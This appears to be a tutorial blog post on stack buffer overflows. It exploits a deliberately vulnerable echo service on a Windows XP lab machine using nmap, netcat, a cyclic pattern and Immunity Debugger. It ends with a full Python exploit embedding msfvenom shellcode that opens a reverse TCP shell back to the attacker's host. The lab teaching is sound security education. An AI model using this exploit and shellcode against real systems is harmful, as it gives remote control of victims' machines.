<strong>5 different segments </strong>that constitute the memory of a compiled program — <strong>text (code), bss, data, heap , stack</strong></p><p><strong>The stack:</strong></p><p>The stack is a defined range in computer memory which is used for storing data and supporting function calls. The way a stack is implemented can vary from architectures to architectures, here we are referring to the stack implemented in x86 architectures. In a high level language, when we create variables (except those allocated memory dynamically like malloc), the variables occupy an address space on the stack. The stack usually grows from higher memory to lower memory, opposite to the direction of buffer growth which grows from lower to higher memory — this fact will play an important role in crafting of our exploit.</p><p><strong>Function calls:<br></strong>Broadly speaking, when a subroutine or a function is called, the EIP needs to ‘jump’ to a separate section of code loaded somewhere else in memory. This brief interruption in the normal execution flow, needs to be addressed. The EIP must ‘return’ to its original place after it has finished execution of the subroutine. The EIP stores this value or the ‘return address’ on the stack.</p><p>The buffer has a fixed size, and if not checked , it can be overflown by using an input string that causes it to exceed the allocated size and overwrite the return address which is stored in EBP register. Our goal is to overwrite the place where the ‘ret addr’ is stored with the buffer overflow for our goals.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*84uLUWUlWLy6RgYKU3jl-g.png" /></figure><h3>The Exploit: Memcpy Server on Windows XP SP3</h3><p>With our goal clear, let’s use what we have learnt to compromise a remote service running on Windows XP. I strongly recommend using a Kali or Parrot distro to avoid the hassle of setting up Metasploit (which we will use for the payload part).</p><p>A payload is sort of an action item that the adversary wants the target to do once it has been compromised. The ideal intent of the attacker is to cause the system to spawn a ‘shell’ giving control back to the attacker once the target has been compromised so that they may proceed with their initiatives. As such, a commonly substituted term for payload is <strong>‘shellcode’.</strong></p><p>You can find the vulnerable exes, I used in some of my blogs <a href="https://github.com/reg1reg1/Exploits/tree/master/exploit-exercises/win-exploits-pentesteracademy/vuln-exes">here</a>.</p><p><strong>Scan:<br></strong>We will scan the remote host by using nmap to identify any uncommon ports being open. We find a port open on 10000.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EF301kGQJCtVyNxizOm1Hg.png" /></figure><p>We can use netcat to interact with it and find that it simply echoes or repeats a string being sent to it.</p><pre>echo &quot;AAAA&quot; | nc {ip-of-vm} 10000 </pre><p><strong>Detecting Buffer Overflow:</strong></p><p>Next we send a larger string, in an attempt to overflow. But instead of it being all the same character we send a pattern. Such a pattern can be generated <a href="https://wiremask.eu/tools/buffer-overflow-pattern-generator/">here</a>. This will help us understand the offset when causing the overflow.</p><p>We send a pattern generated from the link above to the remote service. We select a length of 300, we can continue to add 0’s until we figure out an overflow length.</p><pre>python -c &quot;print &#39;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9j6Aj7Aj8Aj9&#39;&quot; | nc 192.168.40.133 10000</pre><p>We observe that after sending the crafted string, we get an error on the service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*09aJRdo_nn7yxwI4zgN8rw.gif" /><figcaption>offset revealed to be 6a413969</figcaption></figure><p>We see that the instruction pointer tried to jump to an unexpected address indicated by the offset, and caused the program to crash (reason could be a non-executable region or garbage instruction or address outside of range of memory). If we enter that value on to the tool, it tells us that the offset is at <strong>268</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*PRs9mk2U9FH4b45LtSLWXw.png" /><figcaption>offset at 268</figcaption></figure><p>So whatever is at starting the 269th character onwards for 4 bytes will be our intended return address(4 bytes is address size for x86). This is the value which the instruction pointer will attempt to jump to as shown by the crash.</p><p>So we will put our ‘shellcode’ on the stack. We would want a reverse shell back to our attacker machine. We can use the tool <strong>msfvenom, </strong>to generate a shellcode. I wrote the exploit code in python so chose that format among many of the formats the tool allows. We will craft the payload a bit later.</p><p>Other thing to note is that we would like the ret address to be overwritten by an address that points to our shellcode. We can hardcode the actual address of the shellcode by ‘debugging’ during our exploit attempt.</p><p><strong>Debugging:<br></strong>Immunity debugger is a popular GUI debugger that is supported by the older systems such as XP SP3. We use it to attach to the server process and debug. (File-&gt;attach -&gt; Select the pid of the running executable) or you can open the executable from within Immunity. Once we click the play icon after sending the payload earlier, we see the screen below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*jE3sku9MhSnEVOp917BHgg.png" /><figcaption>stack top shown by green, EIP pointed in red shows the offset</figcaption></figure><p>So our payload design is going to be a string like this</p><pre>BUFFER STRING(268 length)+RET ADDRESS OF SHELLCODE + SHELLCODE</pre><p>So our overwritten return address points to where shellcode starts.<br>We generate the shellcode , a reverse_tcp shell that will attempt to connect back to our machine when the exploit succeeds.</p><p>As pointed by the screenshot below in green, the shellcode starts at the stack from ‘0022FB70’. We need to put this value in reverse order as the buffer grows opposite to the direction of stack growth (stack grows from high memory to lower memory) which is in python hex format “\x70\xfb\x22\x00”</p><p>So we start a handler for our msfvenom payload. A handler is something that ‘handles’ the payloads outcome. In metasploit, there are 2 kinds of payloads (staged and stageless), a topic which we will cover in depth later. For now we sent a stageless payload. The payload we generated earlier and using for the exploit is a staged payload and will expect a stager that spawns a command shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vphmK0k2s42270Qie70fgQ.png" /><figcaption>configuring a handler to handle our reverse tcp shell</figcaption></figure><p>We then set the LHOST and LPORT which are the host of attacker ip and port, this needs to be in line with the payload we generated above and start the listener.</p><p>We then send our exploit using a python code that connects to a socket and sends the string (buffer_offset+ret_address+payload)</p><pre>!/usr/bin/python<br>import socket, sys<br>sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)<br>sock.connect((sys.argv[1],10000))buf=&quot;&quot;<br>buf+=&quot;A&quot;*268<br>#offset is 268<br>buf+=&quot;\x70\xfb\x22\x00&quot;<br>buf += b&quot;\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30&quot;<br>buf += b&quot;\x89\xe5\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7&quot;<br>buf += b&quot;\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20&quot;<br>buf += b&quot;\xc1\xcf\x0d\x01\xc7\x49\x75\xef\x52\x57\x8b\x52\x10&quot;<br>buf += b&quot;\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4c\x01&quot;<br>buf += b&quot;\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\x85\xc9\x74&quot;<br>buf += b&quot;\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xc1\xcf&quot;<br>buf += b&quot;\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d&quot;<br>buf += b&quot;\x24\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b&quot;<br>buf += b&quot;\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24&quot;<br>buf += b&quot;\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b&quot;<br>buf += b&quot;\x12\xe9\x80\xff\xff\xff\x5d\x68\x33\x32\x00\x00\x68&quot;<br>buf += b&quot;\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\x89\xe8\xff&quot;<br>buf += b&quot;\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80&quot;<br>buf += b&quot;\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x28\x81\x68\x02&quot;<br>buf += b&quot;\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50&quot;<br>buf += b&quot;\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68&quot;<br>buf += b&quot;\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08&quot;<br>buf += b&quot;\x75\xec\xe8\x67\x00\x00\x00\x6a\x00\x6a\x04\x56\x57&quot;<br>buf += b&quot;\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b&quot;<br>buf += b&quot;\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58&quot;<br>buf += b&quot;\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68&quot;<br>buf += b&quot;\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68&quot;<br>buf += b&quot;\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff&quot;<br>buf += b&quot;\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c&quot;<br>buf += b&quot;\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff\xff\x01&quot;<br>buf += b&quot;\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00&quot;<br>buf += b&quot;\x53\xff\xd5&quot;<br>sock.send(buf)<br>sock.close()</pre><p>Once we send our payload, we can see that our stager is sent and we can execute commands on the victim machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rTy5QAnFICxndggOOVdKdg.png" /><figcaption>Great success!</figcaption></figure><p>Hope you enjoyed this slightly verbose introduction to vanilla buffer overflow exploits. Until next time 👋👋👋</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=274b1287f96a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>